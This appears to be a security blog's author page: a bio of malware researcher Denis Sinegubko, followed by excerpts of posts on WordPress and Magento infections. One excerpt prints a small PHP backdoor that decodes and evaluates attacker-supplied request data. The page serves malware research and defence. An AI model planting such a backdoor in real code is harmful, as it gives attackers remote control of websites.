Denis Sinegubko is Sucuri’s Senior Malware Researcher who joined the company in 2013. Denis' main responsibilities include researching emerging threats and creating signatures for SiteCheck. The founder of UnmaskParasites, his professional experience covers over 20 years of programming and information security. When Denis isn’t analyzing malware, you might not find him online at all. Connect with him on Twitter.
There used to be this backdoor that was mainly uploaded via old Gravity Forms vulnerabilities: < script language=”php” > $a=chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100). chr(101).chr(99).chr(111).chr(100).chr(101); e v a l($a($_REQUEST[sam]));</script>…
Just a quick reminder: Don’t use common words and easy character combinations as passwords. Your compromised site can be used to hack third-party sites. A…
Update March 7: The WordPress Directory team investigated and mitigated this issue by disconnecting the wooranker account from all plugins, reverting malicious changes in the…
Update 2/17: This post is not about hackers tricking webmasters into installing fake Magento security patch. It’s about malware that pretends to be an applied…
This past weekend we registered a spike in WordPress infections where hackers injected encrypted code at the end of all legitimate .js files. The distinguishing…
The Magento Shoplift vulnerability had been patched about a year ago. And all this time we have been cleaning various Magento infections that steal customer…
We’ve seen lots of JavaScript tricks that hide injected spam from human visitors while making it look “visible” for search engines. The most popular approach…